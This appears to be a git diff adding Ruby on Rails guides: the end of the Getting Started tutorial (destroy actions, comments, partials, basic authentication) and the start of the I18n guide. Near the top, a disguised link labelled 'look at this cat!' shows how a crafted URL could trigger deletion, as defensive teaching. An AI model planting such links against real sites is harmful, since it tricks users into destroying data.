possible for +people to craft malicious URLs like this: + +```html +<a href='http://example.com/articles/1/destroy'>look at this cat!</a> +``` + +We use the `delete` method for destroying resources, and this route is mapped +to the `destroy` action inside `app/controllers/articles_controller.rb`, which +doesn't exist yet. The `destroy` method is generally the last CRUD action in +the controller, and like the other public CRUD actions, it must be placed +before any `private` or `protected` methods. Let's add it: + +```ruby +def destroy + @article = Article.find(params[:id]) + @article.destroy + + redirect_to articles_path +end +``` + +The complete `ArticlesController` in the +`app/controllers/articles_controller.rb` file should now look like this: + +```ruby +class ArticlesController < ApplicationController + def index + @articles = Article.all + end + + def show + @article = Article.find(params[:id]) + end + + def new + @article = Article.new + end + + def edit + @article = Article.find(params[:id]) + end + + def create + @article = Article.new(article_params) + + if @article.save + redirect_to @article + else + render 'new' + end + end + + def update + @article = Article.find(params[:id]) + + if @article.update(article_params) + redirect_to @article + else + render 'edit' + end + end + + def destroy + @article = Article.find(params[:id]) + @article.destroy + + redirect_to articles_path + end + + private + def article_params + params.require(:article).permit(:title, :text) + end +end +``` + +You can call `destroy` on Active Record objects when you want to delete +them from the database. Note that we don't need to add a view for this +action since we're redirecting to the `index` action. + +Finally, add a 'Destroy' link to your `index` action template +(`app/views/articles/index.html.erb`) to wrap everything together. + +```html+erb +<h1>Listing Articles</h1> +<%= link_to 'New article', new_article_path %> +<table> + <tr> + <th>Title</th> + <th>Text</th> + <th colspan="3"></th> + </tr> + + <% @articles.each do |article| %> + <tr> + <td><%= article.title %></td> + <td><%= article.text %></td> + <td><%= link_to 'Show', article_path(article) %></td> + <td><%= link_to 'Edit', edit_article_path(article) %></td> + <td><%= link_to 'Destroy', article_path(article), + method: :delete, + data: { confirm: 'Are you sure?' } %></td> + </tr> + <% end %> +</table> +``` + +Here we're using `link_to` in a different way. We pass the named route as the +second argument, and then the options as another argument. The `method: :delete` +and `data: { confirm: 'Are you sure?' }` options are used as HTML5 attributes so +that when the link is clicked, Rails will first show a confirm dialog to the +user, and then submit the link with method `delete`. This is done via the +JavaScript file `rails-ujs` which is automatically included in your +application's layout (`app/views/layouts/application.html.erb`) when you +generated the application. Without this file, the confirmation dialog box won't +appear. + + + +TIP: Learn more about Unobtrusive JavaScript on +[Working With JavaScript in Rails](working_with_javascript_in_rails.html) guide. + +Congratulations, you can now create, show, list, update, and destroy +articles. + +TIP: In general, Rails encourages using resources objects instead of +declaring routes manually. For more information about routing, see +[Rails Routing from the Outside In](routing.html). + +Adding a Second Model +--------------------- + +It's time to add a second model to the application. The second model will handle +comments on articles. + +### Generating a Model + +We're going to see the same generator that we used before when creating +the `Article` model. This time we'll create a `Comment` model to hold a +reference to an article. Run this command in your terminal: + +```bash +$ rails generate model Comment commenter:string body:text article:references +``` + +This command will generate four files: + +| File | Purpose | +| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ | +| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | +| app/models/comment.rb | The Comment model | +| test/models/comment_test.rb | Testing harness for the comment model | +| test/fixtures/comments.yml | Sample comments for use in testing | + +First, take a look at `app/models/comment.rb`: + +```ruby +class Comment < ApplicationRecord + belongs_to :article +end +``` + +This is very similar to the `Article` model that you saw earlier. The difference +is the line `belongs_to :article`, which sets up an Active Record _association_. +You'll learn a little about associations in the next section of this guide. + +The (`:references`) keyword used in the bash command is a special data type for models. +It creates a new column on your database table with the provided model name appended with an `_id` +that can hold integer values. To get a better understanding, analyze the +`db/schema.rb` file after running the migration. + +In addition to the model, Rails has also made a migration to create the +corresponding database table: + +```ruby +class CreateComments < ActiveRecord::Migration[5.0] + def change + create_table :comments do |t| + t.string :commenter + t.text :body + t.references :article, foreign_key: true + + t.timestamps + end + end +end +``` + +The `t.references` line creates an integer column called `article_id`, an index +for it, and a foreign key constraint that points to the `id` column of the `articles` +table. Go ahead and run the migration: + +```bash +$ rails db:migrate +``` + +Rails is smart enough to only execute the migrations that have not already been +run against the current database, so in this case you will just see: + +```bash +== CreateComments: migrating ================================================= +-- create_table(:comments) + -> 0.0115s +== CreateComments: migrated (0.0119s) ======================================== +``` + +### Associating Models + +Active Record associations let you easily declare the relationship between two +models. In the case of comments and articles, you could write out the +relationships this way: + +* Each comment belongs to one article. +* One article can have many comments. + +In fact, this is very close to the syntax that Rails uses to declare this +association. You've already seen the line of code inside the `Comment` model +(app/models/comment.rb) that makes each comment belong to an Article: + +```ruby +class Comment < ApplicationRecord + belongs_to :article +end +``` + +You'll need to edit `app/models/article.rb` to add the other side of the +association: + +```ruby +class Article < ApplicationRecord + has_many :comments + validates :title, presence: true, + length: { minimum: 5 } +end +``` + +These two declarations enable a good bit of automatic behavior. For example, if +you have an instance variable `@article` containing an article, you can retrieve +all the comments belonging to that article as an array using +`@article.comments`. + +TIP: For more information on Active Record associations, see the [Active Record +Associations](association_basics.html) guide. + +### Adding a Route for Comments + +As with the `welcome` controller, we will need to add a route so that Rails +knows where we would like to navigate to see `comments`. Open up the +`config/routes.rb` file again, and edit it as follows: + +```ruby +resources :articles do + resources :comments +end +``` + +This creates `comments` as a _nested resource_ within `articles`. This is +another part of capturing the hierarchical relationship that exists between +articles and comments. + +TIP: For more information on routing, see the [Rails Routing](routing.html) +guide. + +### Generating a Controller + +With the model in hand, you can turn your attention to creating a matching +controller. Again, we'll use the same generator we used before: + +```bash +$ rails generate controller Comments +``` + +This creates five files and one empty directory: + +| File/Directory | Purpose | +| -------------------------------------------- | ---------------------------------------- | +| app/controllers/comments_controller.rb | The Comments controller | +| app/views/comments/ | Views of the controller are stored here | +| test/controllers/comments_controller_test.rb | The test for the controller | +| app/helpers/comments_helper.rb | A view helper file | +| app/assets/stylesheets/comments.scss | Cascading style sheet for the controller | + +Like with any blog, our readers will create their comments directly after +reading the article, and once they have added their comment, will be sent back +to the article show page to see their comment now listed. Due to this, our +`CommentsController` is there to provide a method to create comments and delete +spam comments when they arrive. + +So first, we'll wire up the Article show template +(`app/views/articles/show.html.erb`) to let us make a new comment: + +```html+erb +<p> + <strong>Title:</strong> + <%= @article.title %> +</p> + +<p> + <strong>Text:</strong> + <%= @article.text %> +</p> + +<h2>Add a comment:</h2> +<%= form_with(model: [ @article, @article.comments.build ], local: true) do |form| %> + <p> + <%= form.label :commenter %><br> + <%= form.text_field :commenter %> + </p> + <p> + <%= form.label :body %><br> + <%= form.text_area :body %> + </p> + <p> + <%= form.submit %> + </p> +<% end %> + +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> +``` + +This adds a form on the `Article` show page that creates a new comment by +calling the `CommentsController` `create` action. The `form_with` call here uses +an array, which will build a nested route, such as `/articles/1/comments`. + +Let's wire up the `create` in `app/controllers/comments_controller.rb`: + +```ruby +class CommentsController < ApplicationController + def create + @article = Article.find(params[:article_id]) + @comment = @article.comments.create(comment_params) + redirect_to article_path(@article) + end + + private + def comment_params + params.require(:comment).permit(:commenter, :body) + end +end +``` + +You'll see a bit more complexity here than you did in the controller for +articles. That's a side-effect of the nesting that you've set up. Each request +for a comment has to keep track of the article to which the comment is attached, +thus the initial call to the `find` method of the `Article` model to get the +article in question. + +In addition, the code takes advantage of some of the methods available for an +association. We use the `create` method on `@article.comments` to create and +save the comment. This will automatically link the comment so that it belongs to +that particular article. + +Once we have made the new comment, we send the user back to the original article +using the `article_path(@article)` helper. As we have already seen, this calls +the `show` action of the `ArticlesController` which in turn renders the +`show.html.erb` template. This is where we want the comment to show, so let's +add that to the `app/views/articles/show.html.erb`. + +```html+erb +<p> + <strong>Title:</strong> + <%= @article.title %> +</p> + +<p> + <strong>Text:</strong> + <%= @article.text %> +</p> + +<h2>Comments</h2> +<% @article.comments.each do |comment| %> + <p> + <strong>Commenter:</strong> + <%= comment.commenter %> + </p> + + <p> + <strong>Comment:</strong> + <%= comment.body %> + </p> +<% end %> + +<h2>Add a comment:</h2> +<%= form_with(model: [ @article, @article.comments.build ], local: true) do |form| %> + <p> + <%= form.label :commenter %><br> + <%= form.text_field :commenter %> + </p> + <p> + <%= form.label :body %><br> + <%= form.text_area :body %> + </p> + <p> + <%= form.submit %> + </p> +<% end %> + +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> +``` + +Now you can add articles and comments to your blog and have them show up in the +right places. + + + +Refactoring +----------- + +Now that we have articles and comments working, take a look at the +`app/views/articles/show.html.erb` template. It is getting long and awkward. We +can use partials to clean it up. + +### Rendering Partial Collections + +First, we will make a comment partial to extract showing all the comments for +the article. Create the file `app/views/comments/_comment.html.erb` and put the +following into it: + +```html+erb +<p> + <strong>Commenter:</strong> + <%= comment.commenter %> +</p> + +<p> + <strong>Comment:</strong> + <%= comment.body %> +</p> +``` + +Then you can change `app/views/articles/show.html.erb` to look like the +following: + +```html+erb +<p> + <strong>Title:</strong> + <%= @article.title %> +</p> + +<p> + <strong>Text:</strong> + <%= @article.text %> +</p> + +<h2>Comments</h2> +<%= render @article.comments %> + +<h2>Add a comment:</h2> +<%= form_with(model: [ @article, @article.comments.build ], local: true) do |form| %> + <p> + <%= form.label :commenter %><br> + <%= form.text_field :commenter %> + </p> + <p> + <%= form.label :body %><br> + <%= form.text_area :body %> + </p> + <p> + <%= form.submit %> + </p> +<% end %> + +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> +``` + +This will now render the partial in `app/views/comments/_comment.html.erb` once +for each comment that is in the `@article.comments` collection. As the `render` +method iterates over the `@article.comments` collection, it assigns each +comment to a local variable named the same as the partial, in this case +`comment`, which is then available in the partial for us to show. + +### Rendering a Partial Form + +Let us also move that new comment section out to its own partial. Again, you +create a file `app/views/comments/_form.html.erb` containing: + +```html+erb +<%= form_with(model: [ @article, @article.comments.build ], local: true) do |form| %> + <p> + <%= form.label :commenter %><br> + <%= form.text_field :commenter %> + </p> + <p> + <%= form.label :body %><br> + <%= form.text_area :body %> + </p> + <p> + <%= form.submit %> + </p> +<% end %> +``` + +Then you make the `app/views/articles/show.html.erb` look like the following: + +```html+erb +<p> + <strong>Title:</strong> + <%= @article.title %> +</p> + +<p> + <strong>Text:</strong> + <%= @article.text %> +</p> + +<h2>Comments</h2> +<%= render @article.comments %> + +<h2>Add a comment:</h2> +<%= render 'comments/form' %> + +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> +``` + +The second render just defines the partial template we want to render, +`comments/form`. Rails is smart enough to spot the forward slash in that +string and realize that you want to render the `_form.html.erb` file in +the `app/views/comments` directory. + +The `@article` object is available to any partials rendered in the view because +we defined it as an instance variable. + +Deleting Comments +----------------- + +Another important feature of a blog is being able to delete spam comments. To do +this, we need to implement a link of some sort in the view and a `destroy` +action in the `CommentsController`. + +So first, let's add the delete link in the +`app/views/comments/_comment.html.erb` partial: + +```html+erb +<p> + <strong>Commenter:</strong> + <%= comment.commenter %> +</p> + +<p> + <strong>Comment:</strong> + <%= comment.body %> +</p> + +<p> + <%= link_to 'Destroy Comment', [comment.article, comment], + method: :delete, + data: { confirm: 'Are you sure?' } %> +</p> +``` + +Clicking this new "Destroy Comment" link will fire off a `DELETE +/articles/:article_id/comments/:id` to our `CommentsController`, which can then +use this to find the comment we want to delete, so let's add a `destroy` action +to our controller (`app/controllers/comments_controller.rb`): + +```ruby +class CommentsController < ApplicationController + def create + @article = Article.find(params[:article_id]) + @comment = @article.comments.create(comment_params) + redirect_to article_path(@article) + end + + def destroy + @article = Article.find(params[:article_id]) + @comment = @article.comments.find(params[:id]) + @comment.destroy + redirect_to article_path(@article) + end + + private + def comment_params + params.require(:comment).permit(:commenter, :body) + end +end +``` + +The `destroy` action will find the article we are looking at, locate the comment +within the `@article.comments` collection, and then remove it from the +database and send us back to the show action for the article. + + +### Deleting Associated Objects + +If you delete an article, its associated comments will also need to be +deleted, otherwise they would simply occupy space in the database. Rails allows +you to use the `dependent` option of an association to achieve this. Modify the +Article model, `app/models/article.rb`, as follows: + +```ruby +class Article < ApplicationRecord + has_many :comments, dependent: :destroy + validates :title, presence: true, + length: { minimum: 5 } +end +``` + +Security +-------- + +### Basic Authentication + +If you were to publish your blog online, anyone would be able to add, edit and +delete articles or delete comments. + +Rails provides a very simple HTTP authentication system that will work nicely in +this situation. + +In the `ArticlesController` we need to have a way to block access to the +various actions if the person is not authenticated. Here we can use the Rails +`http_basic_authenticate_with` method, which allows access to the requested +action if that method allows it. + +To use the authentication system, we specify it at the top of our +`ArticlesController` in `app/controllers/articles_controller.rb`. In our case, +we want the user to be authenticated on every action except `index` and `show`, +so we write that: + +```ruby +class ArticlesController < ApplicationController + + http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show] + + def index + @articles = Article.all + end + + # snippet for brevity +``` + +We also want to allow only authenticated users to delete comments, so in the +`CommentsController` (`app/controllers/comments_controller.rb`) we write: + +```ruby +class CommentsController < ApplicationController + + http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy + + def create + @article = Article.find(params[:article_id]) + # ... + end + + # snippet for brevity +``` + +Now if you try to create a new article, you will be greeted with a basic HTTP +Authentication challenge: + + + +Other authentication methods are available for Rails applications. Two popular +authentication add-ons for Rails are the +[Devise](https://github.com/plataformatec/devise) rails engine and +the [Authlogic](https://github.com/binarylogic/authlogic) gem, +along with a number of others. + + +### Other Security Considerations + +Security, especially in web applications, is a broad and detailed area. Security +in your Rails application is covered in more depth in +the [Ruby on Rails Security Guide](security.html). + + +What's Next? +------------ + +Now that you've seen your first Rails application, you should feel free to +update it and experiment on your own. + +Remember, you don't have to do everything without help. As you need assistance +getting up and running with Rails, feel free to consult these support +resources: + +* The [Ruby on Rails Guides](index.html) +* The [Ruby on Rails Tutorial](https://www.railstutorial.org/book) +* The [Ruby on Rails mailing list](https://groups.google.com/group/rubyonrails-talk) +* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net + + +Configuration Gotchas +--------------------- + +The easiest way to work with Rails is to store all external data as UTF-8. If +you don't, Ruby libraries and Rails will often be able to convert your native +data into UTF-8, but this doesn't always work reliably, so you're better off +ensuring that all external data is UTF-8. + +If you have made a mistake in this area, the most common symptom is a black +diamond with a question mark inside appearing in the browser. Another common +symptom is characters like "ü" appearing instead of "ü". Rails takes a number +of internal steps to mitigate common causes of these problems that can be +automatically detected and corrected. However, if you have external data that is +not stored as UTF-8, it can occasionally result in these kinds of issues that +cannot be automatically detected by Rails and corrected. + +Two very common sources of data that are not UTF-8: + +* Your text editor: Most text editors (such as TextMate), default to saving + files as UTF-8. If your text editor does not, this can result in special + characters that you enter in your templates (such as é) to appear as a diamond + with a question mark inside in the browser. This also applies to your i18n + translation files. Most editors that do not already default to UTF-8 (such as + some versions of Dreamweaver) offer a way to change the default to UTF-8. Do + so. +* Your database: Rails defaults to converting data from your database into UTF-8 + at the boundary. However, if your database is not using UTF-8 internally, it + may not be able to store all characters that your users enter. For instance, + if your database is using Latin-1 internally, and your user enters a Russian, + Hebrew, or Japanese character, the data will be lost forever once it enters + the database. If possible, use UTF-8 as the internal storage of your database. diff --git a/guides/source/i18n.md b/guides/source/i18n.md new file mode 100644 index 0000000000..10b1a6de7e --- /dev/null +++ b/guides/source/i18n.md @@ -0,0 +1,1247 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Rails Internationalization (I18n) API +===================================== + +The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application. + +The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.[^1] + +So, in the process of _internationalizing_ your Rails application you have to: + +* Ensure you have support for i18n. +* Tell Rails where to find locale dictionaries. +* Tell Rails how to set, preserve, and switch locales. + +In the process of _localizing_ your application you'll probably want to do the following three things: + +* Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc. +* Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc. +* Store the resulting dictionaries somewhere. + +This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. + +After reading this guide, you will know: + +* How I18n works in Ruby on Rails +* How to correctly use I18n into a RESTful application in various ways +* How to use I18n to translate Active Record errors or Action Mailer E-mail subjects +* Some other tools to go further with the translation process of your application + +-------------------------------------------------------------------------------- + +NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, also use various gems available to add additional functionality or features. See the [rails-i18n gem](https://github.com/svenfuchs/rails-i18n) for more information. + +How I18n in Ruby on Rails Works +------------------------------- + +Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on: + +* providing support for English and similar languages out of the box +* making it easy to customize and extend everything for other languages + +As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**. _Localization_ of a Rails application means defining translated values for these strings in desired languages. + +To localize store and update _content_ in your application (e.g. translate blog posts), see the [Translating model content](#translating-model-content) section. + +### The Overall Architecture of the Library + +Thus, the Ruby I18n gem is split into two parts: + +* The public API of the i18n framework - a Ruby module with public methods that define how the library works +* A default backend (which is intentionally named _Simple_ backend) that implements these methods + +As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. + +NOTE: It is possible to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below. + +### The Public I18n API + +The most important methods of the I18n API are: + +```ruby +translate # Lookup text translations +localize # Localize Date and Time objects to local formats +``` + +These have the aliases #t and #l so you can use them like this: + +```ruby +I18n.t 'store.title' +I18n.l Time.now +``` + +There are also attribute readers and writers for the following attributes: + +```ruby +load_path # Announce your custom translation files +locale # Get and set the current locale +default_locale # Get and set the default locale +available_locales # Permitted locales available for the application +enforce_available_locales # Enforce locale permission (true or false) +exception_handler # Use a different exception_handler +backend # Use a different backend +``` + +So, let's internationalize a simple Rails application from the ground up in the next chapters! + +Setup the Rails Application for Internationalization +---------------------------------------------------- + +There are a few steps to get up and running with I18n support for a Rails application. + +### Configure the I18n Module + +Following the _convention over configuration_ philosophy, Rails I18n provides reasonable default translation strings. When different translation strings are needed, they can be overridden. + +Rails adds all `.rb` and `.yml` files from the `config/locales` directory to the **translations load path**, automatically. + +The default `en.yml` locale in this directory contains a sample pair of translation strings: + +```yaml +en: + hello: "Hello world" +``` + +This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. + +The I18n library will use **English** as a **default locale**, i.e. if a different locale is not set, `:en` will be used for looking up translations. + +NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](https://groups.google.com/forum/#!topic/rails-i18n/FN7eLH2-lHA)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th`, or `:es` (for Czech, Thai, and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. + +The **translations load path** (`I18n.load_path`) is an array of paths to files that will be loaded automatically. Configuring this path allows for customization of translations directory structure and file naming scheme. + +NOTE: The backend lazy-loads these translations when a translation is looked up for the first time. This backend can be swapped with something else even after translations have already been announced. + +You can change the default locale as well as configure the translations load paths in `config/application.rb` as follows: + +```ruby + config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')] + config.i18n.default_locale = :de +``` + +The load path must be specified before any translations are looked up. To change the default locale from an initializer instead of `config/application.rb`: + +```ruby +# config/initializers/locale.rb + +# Where the I18n library should search for translation files +I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')] + +# Permitted locales available for the application +I18n.available_locales = [:en, :pt] + +# Set default locale to something other than :en +I18n.default_locale = :pt +``` + +Note that appending directly to `I18n.load_paths` instead of to the application's configured i18n will _not_ override translations from external gems. + +### Managing the Locale across Requests + +The default locale is used for all translations unless `I18n.locale` is explicitly set. + +A localized application will likely need to provide support for multiple locales. To accomplish this, the locale should be set at the beginning of each request so that all strings are translated using the desired locale during the lifetime of that request. + +The locale can be set in an `around_action` in the `ApplicationController`: + +```ruby +around_action :switch_locale + +def switch_locale(&action) + locale = params[:locale] || I18n.default_locale + I18n.with_locale(locale, &action) +end +``` + +This example illustrates this using a URL query parameter to set the locale (e.g. `http://example.com/books?locale=pt`). With this approach, `http://localhost:3000?locale=pt` renders the Portuguese localization, while `http://localhost:3000?locale=de` loads a German localization. + +The locale can be set using one of many different approaches. + +#### Setting the Locale from the Domain Name + +One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages: + +* The locale is an _obvious_ part of the URL. +* People intuitively grasp in which language the content will be displayed. +* It is very trivial to implement in Rails. +* Search engines seem to like that content in different languages lives at different, inter-linked domains. + +You can implement it like this in your `ApplicationController`: + +```ruby +around_action :switch_locale + +def switch_locale(&action) + locale = extract_locale_from_tld || I18n.default_locale + I18n.with_locale(locale, &action) +end + +# Get locale from top-level domain or return +nil+ if such locale is not available +# You have to put something like: +# 127.0.0.1 application.com +# 127.0.0.1 application.it +# 127.0.0.1 application.pl +# in your /etc/hosts file to try this out locally +def extract_locale_from_tld + parsed_locale = request.host.split('.').last + I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil +end +``` + +We can also set the locale from the _subdomain_ in a very similar way: + +```ruby +# Get locale code from request subdomain (like http://it.application.local:3000) +# You have to put something like: +# 127.0.0.1 gr.application.local +# in your /etc/hosts file to try this out locally +def extract_locale_from_subdomain + parsed_locale = request.subdomains.first + I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil +end +``` + +If your application includes a locale switching menu, you would then have something like this in it: + +```ruby +link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}") +``` + +assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`. + +This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path). + +#### Setting the Locale from URL Params + +The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.with_locale(params[:locale], &action)` _around_action_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case. + +This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though. + +Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(locale: I18n.locale))`, would be tedious and probably impossible, of course. + +Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding `default_url_options`). + +We can include something like this in our `ApplicationController` then: + +```ruby +# app/controllers/application_controller.rb +def default_url_options + { locale: I18n.locale } +end +``` + +Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`. + +You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this. + +You probably want URLs to look like this: `http://www.example.com/en/books` (which loads the English locale) and `http://www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scope`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html): + +```ruby +# config/routes.rb +scope "/:locale" do + resources :books +end +``` + +Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). A URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed). + +WARNING. Since the return value of `default_url_options` is cached per request, the URLs in a locale selector cannot be generated invoking helpers in a loop that sets the corresponding `I18n.locale` in each iteration. Instead, leave `I18n.locale` untouched, and pass an explicit `:locale` option to the helper, or edit `request.original_fullpath`. + +If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so: + +```ruby +# config/routes.rb +scope "(:locale)", locale: /en|nl/ do + resources :books +end +``` + +With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified. + +Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.) + +You would probably need to map URLs like these: + +```ruby +# config/routes.rb +get '/:locale' => 'dashboard#index' +``` + +Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.) + +NOTE: Have a look at various gems which simplify working with routes: [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master), [rails-translate-routes](https://github.com/francesc/rails-translate-routes), [route_translator](https://github.com/enriclluelles/route_translator). + +#### Setting the Locale from User Preferences + +An application with authenticated users may allow users to set a locale preference through the application's interface. With this approach, a user's selected locale preference is persisted in the database and used to set the locale for authenticated requests by that user. + +```ruby +around_action :switch_locale + +def switch_locale(&action) + locale = current_user.try(:locale) || I18n.default_locale + I18n.with_locale(locale, &action) +end +``` + +#### Choosing an Implied Locale + +When an explicit locale has not been set for a request (e.g. via one of the above methods), an application should attempt to infer the desired locale. + +##### Inferring Locale from the Language Header + +The `Accept-Language` HTTP header indicates the preferred language for request's response. Browsers [set this header value based on the user's language preference settings](http://www.w3.org/International/questions/qa-lang-priorities), making it a good first choice when inferring a locale. + +A trivial implementation of using an `Accept-Language` header would be: + +```ruby +def switch_locale(&action) + logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}" + locale = extract_locale_from_accept_language_header + logger.debug "* Locale set to '#{I18n.locale}'" + I18n.with_locale(locale, &action) +end + +private + def extract_locale_from_accept_language_header + request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first + end +``` + + +In practice, more robust code is necessary to do this reliably. Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) library or Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb) Rack middleware provide solutions to this problem. + +##### Inferring the Locale from IP Geolocation + +The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry) or gems like [geocoder](https://github.com/alexreisner/geocoder) can be used to implement this approach. + +In general, this approach is far less reliable than using the language header and is not recommended for most web applications. + +#### Storing the Locale from the Session or Cookies + +WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](https://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](https://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. + +Internationalization and Localization +------------------------------------- + +OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. + +Next we need to _internationalize_ our application by abstracting every locale-specific element. Finally, we need to _localize_ it by providing necessary translations for these abstracts. + +Given the following example: + +```ruby +# config/routes.rb +Rails.application.routes.draw do + root to: "home#index" +end +``` + +```ruby +# app/controllers/application_controller.rb +class ApplicationController < ActionController::Base + + around_action :switch_locale + + def switch_locale(&action) + locale = params[:locale] || I18n.default_locale + I18n.with_locale(locale, &action) + end +end +``` + +```ruby +# app/controllers/home_controller.rb +class HomeController < ApplicationController + def index + flash[:notice] = "Hello Flash" + end +end +``` + +```html+erb +# app/views/home/index.html.erb +<h1>Hello World</h1> +<p><%= flash[:notice] %></p> +``` + + + +### Abstracting Localized Code + +There are two strings in our code that are in English and that users will be rendered in our response ("Hello Flash" and "Hello World"). In order to internationalize this code, these strings need to be replaced by calls to Rails' `#t` helper with an appropriate key for each string: + +```ruby +# app/controllers/home_controller.rb +class HomeController < ApplicationController + def index + flash[:notice] = t(:hello_flash) + end +end +``` + +```html+erb +# app/views/home/index.html.erb +<h1><%= t :hello_world %></h1> +<p><%= flash[:notice] %></p> +``` + +Now, when this view is rendered, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing. + + + +NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`. + +### Providing Translations for Internationalized Strings + +Add the missing translations into the translation dictionary files: + +```yaml +# config/locales/en.yml +en: + hello_world: Hello world! + hello_flash: Hello flash! + +# config/locales/pirate.yml 